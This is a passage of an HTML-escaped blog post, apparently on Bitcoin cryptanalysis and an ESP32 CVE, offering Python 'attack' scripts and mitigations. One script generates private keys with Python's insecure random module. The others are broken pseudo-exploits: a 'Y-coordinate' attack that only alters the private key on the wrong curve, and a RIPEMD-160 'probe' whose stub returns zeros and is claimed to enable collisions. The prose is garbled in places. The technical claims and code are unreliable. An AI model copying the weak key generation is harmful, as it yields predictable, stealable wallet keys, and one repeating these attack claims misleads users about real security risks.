of\u0026nbsp;\u003ccode\u003esecrets\u003c/code\u003e or\u0026nbsp;\u003ccode\u003eos.urandom\u003c/code\u003e, making the private keys predictable to a Bitcoin attacker:\u003c/p\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/privkey_generate.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eprivkey_generate.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-56cd257f3eac5677e100fb8e74ead2b6\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eimport random\nimport time\nfrom hashlib import sha256\n\ndef random_string(length):\n    return ''.join(random.choice('0123456789abcdef') for i in range(length))\n\ndef random_key():\n    \u003cem\u003e# Gotta be secure after that java.SecureRandom fiasco...\u003c/em\u003e\n    entropy = random_string(32) \\\n        + str(random.randrange(2**256)) \\\n        + str(int(time.time() * 1000000))\n    return sha256(entropy.encode('utf-8')).hexdigest()\n\n\u003cem\u003e# Example usage: generate a private key\u003c/em\u003e\nprivate_key = random_key()\nprint(\"Generated Private Key:\", private_key)\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eThis script\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003euses the module to generate keys, which makes it vulnerable. Using the module\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003eis not suitable for cryptographic purposes because it does not generate sufficiently random numbers.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-16-1024x591.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5564\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo create a more secure key, you can use a modulus\u0026nbsp;\u003ccode\u003esecrets\u003c/code\u003eor\u0026nbsp;\u003ccode\u003eos.urandom\u003c/code\u003e. Here is an example of using a modulus\u0026nbsp;\u003ccode\u003esecrets\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-12c1220730af3189e76a4961bda0f7f7\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eimport secrets\nimport hashlib\n\ndef secure_random_key():\n    \u003cem\u003e# Generate a random number with enough entropy\u003c/em\u003e\n    random_bytes = secrets.token_bytes(32)  \u003cem\u003e# 32 bytes = 256 bits\u003c/em\u003e\n    \n    \u003cem\u003e# Hash the random bytes to create a private key\u003c/em\u003e\n    private_key = hashlib.sha256(random_bytes).hexdigest()\n    return private_key\n\n\u003cem\u003e# Example usage: generate a secure private key\u003c/em\u003e\nsecure_private_key = secure_random_key()\nprint(\"Generated Secure Private Key:\", secure_private_key)\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eIn this example, the modulus\u0026nbsp;\u003ccode\u003esecrets\u003c/code\u003eis used to generate a random number with sufficient entropy. The random number is then hashed to create a personal private key. This method is much more secure than using the modulus\u0026nbsp;\u003ccode\u003erandom\u003c/code\u003e.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://bitoncoin.org/19z6wynrjhed5mmv6919buqrwybuen1srv/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVulnerability in ecdsa_raw_sign function\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eA vulnerability in the ecdsa_raw_sign function when restoring the Y-coordinate can lead to the substitution of a public key in the Bitcoin network. There is a high risk that an attacker can exploit the peculiarity of the Y-coordinate restoration when working with an elliptic curve. This ambiguity can lead to the fact that\u0026nbsp;\u003ca href=\"https://bitoncoin.org/19z6wynrjhed5mmv6919buqrwybuen1srv/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ethe public key is restored incorrectly\u003c/a\u003e\u0026nbsp;.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-9.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5489\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eThe code example, provided using the library\u0026nbsp;\u0026nbsp;\u003ccode\u003epycryptodome\u003c/code\u003e, demonstrates how this situation can be simulated by replacing the Y-coordinate to obtain a different, invalid public key. It is important to note that the code example is simplified and is not a full implementation\u0026nbsp;\u003ca href=\"https://bitoncoin.org/19z6wynrjhed5mmv6919buqrwybuen1srv/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eof the attack\u003c/a\u003e\u0026nbsp;, but only shows its principle.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cem\u003eAn attacker can exploit the ambiguity of the Y-coordinate recovery in the Bitcoin network, which can lead to errors in public key recovery. Here is an example of how this can be done using the bitwise XOR operation.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-18-1024x528.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5568\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/weak_key_recovery.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eweak_key_recovery.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-preformatted has-text-color has-link-color wp-elements-02fe835c74284ac1813fc6330db0828d\" style=\"color:#4092c2\"\u003e\u003cstrong\u003e!pip install pycryptodome \u003cbr\u003efrom hashlib import sha256 \u003cbr\u003efrom Crypto.PublicKey import ECC \u003cbr\u003efrom Crypto.Signature import DSS \u003cbr\u003efrom Crypto.Hash import SHA256 \u003cbr\u003eimport secrets \u003cbr\u003e\u003cbr\u003e# Elliptic curve parameters secp256k1 \u003cbr\u003e# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve. \u003cbr\u003e# Therefore, we will use the standard ECC curve. \u003cbr\u003e# For production code, be careful when choosing the curve and its parameters. \u003cbr\u003e\u003cbr\u003edef hash_to_int(msghash): \u003cbr\u003e    return int(sha256(msghash.encode('utf-8')).hexdigest(), 16) \u003cbr\u003e\u003cbr\u003edef deterministic_generate_k(msghash, priv_key_int): \u003cbr\u003e    k = 0 \u003cbr\u003e    while k == 0: \u003cbr\u003e        v = b'\\x01' * 32 \u003cbr\u003e        k = b'\\x00' * 32 \u003cbr\u003e        k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() \u003cbr\u003e        v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() \u003cbr\u003e        k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() \u003cbr\u003e        v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() \u003cbr\u003e        k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant \u003cbr\u003e    return k \u003cbr\u003e\u003cbr\u003edef ecdsa_raw_sign(msghash, priv_key_int): \u003cbr\u003e    z = hash_to_int(msghash) \u003cbr\u003e    k = deterministic_generate_k(msghash, priv_key_int) \u003cbr\u003e\u003cbr\u003e    # Generate private key object \u003cbr\u003e    key = ECC.construct(curve='P-256', d=priv_key_int) \u003cbr\u003e\u003cbr\u003e    # Calculate point R = kG \u003cbr\u003e    # PyCryptodome does not provide direct access to the coordinates of point R \u003cbr\u003e    # Therefore, the signature will be calculated in a different way, using DSS \u003cbr\u003e\u003cbr\u003e    # s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined \u003cbr\u003e    # v = 27 + ((y % 2) ^ (0 if s * 2 \u0026lt; N else 1)) # y is not available \u003cbr\u003e\u003cbr\u003e    return key, z, k # Return the key, hash, and k for further use in signing \u003cbr\u003e\u003cbr\u003edef recover_pubkey(msghash, signature, key): \u003cbr\u003e    # WARNING: This is a VERY SIMPLIFIED example of public key recovery. \u003cbr\u003e    # In real life, ECDSA public key recovery is a complex process. \u003cbr\u003e    # This code is intended only to demonstrate the principle. \u003cbr\u003e\u003cbr\u003e    # PyCryptodome does not have a simple way to recover PublicKey from r and s directly. \u003cbr\u003e    # This code does not perform real recovery, but creates a new PublicKey from the private key. \u003cbr\u003e    # In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey. \u003cbr\u003e    # But this requires a more complex logic to work with the elliptic curve.\u003cbr\u003e    return key.public_key()\u003cbr\u003e\u003cbr\u003edef emulate_attack(msghash, priv): \u003cbr\u003e    # 1. Sign the message \u003cbr\u003e    priv_key_int = int(priv, 16) \u003cbr\u003e    key, z, k = ecdsa_raw_sign(msghash, priv_key_int) \u003cbr\u003e    signer = DSS.new(key, 'fips-186-3') \u003cbr\u003e    hash_obj = SHA256.new(msghash.encode('utf-8')) \u003cbr\u003e    signature = signer.sign(hash_obj) \u003cbr\u003e\u003cbr\u003e    # 2. Attempt to recover the public key (incorrectly) \u003cbr\u003e    Q = recover_pubkey(msghash, signature, key) \u003cbr\u003e\u003cbr\u003e    # 3. Simulate a situation where the Y coordinate is recovered incorrectly \u003cbr\u003e    # In a real attack scenario, an attacker will try to iterate through different y-coordinates. \u003cbr\u003e    # In this example, we simply change the x-coordinate slightly \u003cbr\u003e    tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! \u003cbr\u003e    Q_tampered = tampered_key.public_key() \u003cbr\u003e\u003cbr\u003e    return Q, Q_tampered \u003cbr\u003e\u003cbr\u003e# Example usage \u003cbr\u003emsghash = \"Message example\" \u003cbr\u003e\u003cbr\u003e# Generate a random private key \u003cbr\u003eprivate_key = ECC.generate(curve='P-256') \u003cbr\u003epriv = hex(private_key.d) # Store private key as a hex string \u003cbr\u003e\u003cbr\u003e# Example usage \u003cbr\u003eQ, Q_tampered = emulate_attack(msghash, priv) \u003cbr\u003e\u003cbr\u003eprint(\"Original Public Key:\", Q) \u003cbr\u003eprint(\"Tampered Public Key:\", Q_tampered) \u003cbr\u003eprint(\"Are the keys equal?\", Q == Q_tampered)\u003cbr\u003e\u003c/strong\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eThis script demonstrates how the Y-coordinate can be changed to produce an invalid public key.\u003c/p\u003e\n\n\n\n\u003cp\u003ePlease note that this is just an example and a real attack may be much more complex.\u003c/p\u003e\n\n\n\n\u003cp\u003eIn addition to the script above, here are a few additional points to consider:\u003c/p\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://bitoncoin.org/1ldrcdxfbsnmcyyndeypunztiyzvfbeqec/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eFrey-Rück Attack:\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;This attack exploits vulnerabilities in the ECDSA signature to extract the private key “K” (nonce), which can ultimately lead to the recovery of the Bitcoin wallet.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eBitwise Operations:\u003c/strong\u003e\u0026nbsp;XOR is a valuable tool for data encryption and can be used in combination with other operations to improve security.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e51% Attack:\u003c/strong\u003e\u0026nbsp;While not directly related to Y-coordinate recovery, it is important to understand that an attacker who controls more than 50% of the network’s computing power can potentially manipulate the blockchain.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian Curve Coordinate Manipulation:\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Attackers can manipulate the mathematical properties of Jacobian coordinates to create fake digital signatures.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eSoftware Update:\u003c/strong\u003e\u0026nbsp;It is extremely important to always update your software and use only trusted devices to prevent potential loss of BTC coins due to critical vulnerabilities.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eVulnerability in bin_ripemd160 function\u003c/h2\u003e\n\n\n\n\u003cp\u003eLegacy hashing APIs on the Bitcoin network, especially in the absence of RIPEMD-160, can be vulnerable. Attackers can identify and exploit weak implementations, highlighting the importance of using up-to-date cryptographic libraries and regular security updates.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-10.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5491\" style=\"width:840px;height:auto\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eAn attacker on the Bitcoin network could find a vulnerability in the legacy hashing API, especially if some systems lack a RIPEMD-160 implementation. The problem is in a function\u0026nbsp;\u0026nbsp;\u003ccode\u003ebin_ripemd160\u003c/code\u003ethat attempts to use\u0026nbsp;\u0026nbsp;\u003ccode\u003ehashlib\u003c/code\u003e\u0026nbsp;for hashing, but if that fails, it switches to its own, potentially weaker implementation.\u003c/p\u003e\n\n\n\n\u003cp\u003eThe provided Python script demonstrates how an attacker can test a Bitcoin node for such a weak API implementation. If\u0026nbsp;\u0026nbsp;\u003ccode\u003ehashlib\u003c/code\u003e\u0026nbsp;it does not support RIPEMD-160, a simplified implementation is used, which can lead to hash collisions and other vulnerabilities. The script simulates the attack by hashing the data and printing a warning if a weak implementation is used.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp class=\"has-medium-font-size\"\u003e\u003cem\u003eRisks include the possibility of transaction forgery and exploitation of known vulnerabilities in legacy APIs. To protect yourself, it is recommended to use up-to-date and tested cryptographic libraries, regularly update Bitcoin software, and check the output of cryptographic operations.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-19-1024x655.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5571\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cem\u003eA Python script in which a Bitcoin attacker finds a deprecated hashing API and discusses the risk of not implementing RIPEMD-160 in certain environments:\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003ePython script\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/ripemd160_vulnerability.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eripemd160_vulnerability.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-a46e1ea41a98edbdb5aa21c45e61b7d5\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003eimport hashlib\nimport binascii\n\n\u003cem\u003e# RIPEMD160 implementation (if hashlib doesn't have it)\u003c/em\u003e\nclass RIPEMD160:\n    def __init__(self, data):\n        self.data = data\n\n    def digest(self):\n        \u003cem\u003e# This is a placeholder.  In a real implementation, you would perform the RIPEMD160 hashing algorithm.\u003c/em\u003e\n        \u003cem\u003e# For demonstration purposes, we will return a dummy hash.\u003c/em\u003e\n        return b'\\x00' * 20  \u003cem\u003e# Returns 20 bytes of zeros\u003c/em\u003e\n\ndef bin_ripemd160(string):\n    \"\"\"\n    Hashes the input string using RIPEMD160.\n    It attempts to use hashlib's implementation first and falls back to a custom implementation if necessary.\n    \"\"\"\n    try:\n        digest = hashlib.new('ripemd160', string).digest()\n    except ValueError:\n        print(\"RIPEMD160 not supported in hashlib, falling back to custom implementation.\")\n        digest = RIPEMD160(string).digest()\n    return digest\n\ndef check_for_weak_api(data):\n    \"\"\"\n    Simulates an attacker probing a Bitcoin network node for weak API implementations.\n    \"\"\"\n    print(\"Attacker: Probing node for weak API...\")\n    \n    \u003cem\u003e# Simulate data that needs to be hashed (e.g., part of a transaction)\u003c/em\u003e\n    data_to_hash = data.encode('utf-8')\n    \n    \u003cem\u003e# Attempt to hash the data using RIPEMD160\u003c/em\u003e\n    hashed_data = bin_ripemd160(data_to_hash)\n    \n    print(\"Attacker: Data hashed (potentially using a weak or custom RIPEMD160 implementation).\")\n    print(\"Attacker: Hash value:\", binascii.hexlify(hashed_data).decode('utf-8'))\n\n    \u003cem\u003e# Here, an attacker would potentially exploit the weak implementation.\u003c/em\u003e\n    \u003cem\u003e# For demonstration, we'll just print a warning.\u003c/em\u003e\n    if hashed_data == b'\\x00' * 20:  \u003cem\u003e# This is the dummy hash from our custom RIPEMD160\u003c/em\u003e\n        print(\"Attacker: WARNING: Node is using a weak or custom RIPEMD160 implementation!\")\n        print(\"Attacker: EXPLOITABLE: This could allow for hash collisions or other vulnerabilities.\")\n    else:\n        print(\"Attacker: Node appears to be using a standard RIPEMD160 implementation.\")\n\n\u003cem\u003e# Example usage:\u003c/em\u003e\nif __name__ == \"__main__\":\n    data = \"Example Bitcoin transaction data\"\n    check_for_weak_api(data)\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eDetailed explanation:\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eRIPEMD160 implementation (if not in hashlib):\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eThe class\u0026nbsp;\u003ccode\u003eRIPEMD160\u003c/code\u003esimulates an implementation of RIPEMD160. In reality, it should implement the RIPEMD160 hashing algorithm. For demonstration purposes, it returns a dummy hash.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction\u0026nbsp;\u003ccode\u003ebin_ripemd160(string)\u003c/code\u003e:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eAttempts to hash the input string using RIPEMD160.\u003c/li\u003e\n\n\n\n\u003cli\u003eFirst tries to use the hashlib implementation, and falls back to the custom implementation if necessary.\u003c/li\u003e\n\n\n\n\u003cli\u003eIf hashlib does not support RIPEMD160, it catches the ValueError exception and uses a custom implementation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eFunction\u0026nbsp;\u003ccode\u003echeck_for_weak_api(data)\u003c/code\u003e:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eThis function simulates an attacker testing a Bitcoin network node for weak API implementations.\u003c/li\u003e\n\n\n\n\u003cli\u003eIndicates that the attacker is testing the node for a weak API.\u003c/li\u003e\n\n\n\n\u003cli\u003eEncodes data in utf-8 format.\u003c/li\u003e\n\n\n\n\u003cli\u003eCalls\u0026nbsp;\u003ccode\u003ebin_ripemd160\u003c/code\u003efor hashing data.\u003c/li\u003e\n\n\n\n\u003cli\u003eIndicates that the data has been hashed and shows the hash value.\u003c/li\u003e\n\n\n\n\u003cli\u003eIf the hash is a bogus hash (20 bytes of zeros), prints a warning that the node is using a weak or custom implementation of RIPEMD160, which may lead to hash collisions or other vulnerabilities.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eExample of use:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eIn the block\u0026nbsp;\u003ccode\u003eif __name__ == \"__main__\":\u003c/code\u003e, it specifies sample data and calls\u0026nbsp;\u003ccode\u003echeck_for_weak_api\u003c/code\u003ewith that data.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eHow does this work:\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eSimulate attack:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eThe script simulates an attacker who tries to identify nodes in the Bitcoin network that are using outdated or weak RIPEMD160 hashing APIs.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eRIPEMD160 implementation check:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eIt tries to use the standard library\u0026nbsp;\u003ccode\u003ehashlib\u003c/code\u003efor RIPEMD160 hashing. If that fails (because\u0026nbsp;\u003ccode\u003ehashlib\u003c/code\u003ethe particular environment does not support RIPEMD160), it falls back to a custom implementation (which in this example is a simplified version).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eIdentifying weaknesses:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eThe custom implementation (in this example) is intentionally weak. An attacker can exploit this weakness if a node uses this implementation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003ePossible risks:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eHash Collisions:\u003c/strong\u003e\u0026nbsp;A weak implementation of the RIPEMD160 hash may be susceptible to hash collisions. An attacker can use this to tamper with transactions or data.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eSecurity Vulnerabilities:\u003c/strong\u003e\u0026nbsp;Deprecated APIs may contain known vulnerabilities that an attacker could exploit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eHow to soften:\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eUsing current libraries:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eMake sure you are using up-to-date and tested libraries for cryptographic operations.\u003c/li\u003e\n\n\n\n\u003cli\u003eIf RIPEMD160 is needed, use a reliable and up-to-date implementation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eRegular updates:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eKeep your Bitcoin software up to date to benefit from security fixes and improvements.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eValidation:\u003c/strong\u003e\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003eAlways check the output of cryptographic operations to ensure that they meet the expected standards.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eVulnerability in the function\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003e No check of a point on the ECC curve\u003c/h2\u003e\n\n\n\n\u003cp\u003eBitcoin has a potential vulnerability in its function\u0026nbsp;\u0026nbsp;\u003ccode\u003emultiply\u003c/code\u003e\u0026nbsp;due to insufficient validation of points on the ECC curve. This could allow an attacker to perform invalid curve attacks, although modern cryptographic libraries such as\u0026nbsp;\u0026nbsp;\u003ccode\u003epycryptodome\u003c/code\u003emake such exploitation difficult. The attack is possible through\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003emanipulation of the Jacobian curve\u003c/a\u003e\u0026nbsp;, which could lead to forged signatures and manipulation of the network.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Bitcoin Cryptanalysis CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi Bluetooth - CRYPTO DEEP TECH_files/image-8.png\" alt=\"Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth\" class=\"wp-image-5485\" style=\"width:840px;height:auto\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275\" target=\"_blank\" rel=\"noreferrer 